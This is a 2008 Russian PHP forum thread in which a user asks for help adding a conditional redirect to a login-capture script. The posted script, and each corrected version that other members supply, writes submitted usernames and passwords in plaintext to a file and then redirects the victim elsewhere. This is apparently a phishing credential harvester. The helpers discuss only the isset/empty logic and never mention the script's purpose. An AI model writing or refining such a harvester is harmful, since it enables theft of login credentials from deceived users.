Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
C++. Мастер-класс в задачах и примерах. Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В. PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5. На примерах. Авторы: Кузнецов М.В., Симдянов И.В., Голышев С.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: как сделать условный переход ?
 
 автор: russiankiller812   (25.12.2008 в 16:27)   письмо автору
 
 

<?PHP
$Login = $_POST['login']; // Логин
$Pass = $_POST['passwd']; // Пароль

$log = fopen("base.php","a+"); //открываем файл базы
fwrite($log,"\n $Login:$Pass \n"); //записываем всё
fclose($log); //закрываем
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://server1.ru'></head></html>"; // куда пошлем пользователя после того как он ввел данные!
?>

нужно что бы в случае если данные не были введены то переход осуществлялся на server1 (поывтор ввода) , а если введены то на сервер2

  Ответить  
 
 автор: DEM   (25.12.2008 в 16:32)   письмо автору
 
   для: russiankiller812   (25.12.2008 в 16:27)
 


<?
$Login 
trim($_POST['login']); 
$Pass trim($_POST['passwd']); 
if(isset(
$Login) AND isset($Pass))
{
$log fopen("base.php","a+"); 
fwrite($log,"\n $Login:$Pass \n"); 
fclose($log); 
echo 
"<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://server1.ru'></head></html>"
}
else
{
echo 
"<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://server2.ru'></head></html>";
}
?>

  Ответить  
 
 автор: Trianon   (25.12.2008 в 16:50)   письмо автору
 
   для: DEM   (25.12.2008 в 16:32)
 

Вы полагаете, вторая ветвь условного оператора хоть раз будет выполнена?

  Ответить  
 
 автор: Valick   (25.12.2008 в 17:21)   письмо автору
 
   для: Trianon   (25.12.2008 в 16:50)
 

Будет... если форму для ввода изменить ;)

2 DEM
Преременные в любом случае будут установлены даже если в поле для ввода ничего не вводить. Они просто будут пустые. Юзайте empty.
Кстати перед присваиванием переменной $Pass = trim($_POST['passwd']), как раз не мешает удостоверится установленна она или нет.

  Ответить  
 
 автор: Avanturer   (25.12.2008 в 17:41)   письмо автору
 
   для: Valick   (25.12.2008 в 17:21)
 

>Вы полагаете, вторая ветвь условного оператора хоть раз будет выполнена?
:), прикольно сначала объявить переменные, а потом проверить объявлены они или нет

<?
if(isset($_POST['login']) AND isset($_POST['passwd']) )
// если вам необходима еще проверка на правильность заполнения логина и пароля
//[ например, чтобы они были не пустые,
// тогда после проверки на существование $_POST['passwd'] и $_POST['login'] добавляете проверку
// например, такую
// if(isset($_POST['login']) AND isset($_POST['passwd']) and trim($_POST['login'])!='' and trim($_POST['passwd'])!='')
// ]
{
$Login = trim($_POST['login']);
$Pass = trim($_POST['passwd']);
$log = fopen("base.php","a+");
fwrite($log,"\n $Login:$Pass \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://server1.ru'></head></html>";
}
else
{
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://server2.ru'></head></html>";
}
?>

  Ответить  
 
 автор: Trianon   (25.12.2008 в 17:45)   письмо автору
 
   для: Valick   (25.12.2008 в 17:21)
 

>Будет... если форму для ввода изменить ;)

и как же для этого надо изменить форму ввода?

  Ответить  
 
 автор: Avanturer   (25.12.2008 в 17:51)   письмо автору
 
   для: Trianon   (25.12.2008 в 17:45)
 

>>Будет... если форму для ввода изменить ;)
>
>и как же для этого надо изменить форму ввода?

)
тут видимо имелось виду имена input`ов ( login , passwd ) на другие

  Ответить  
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования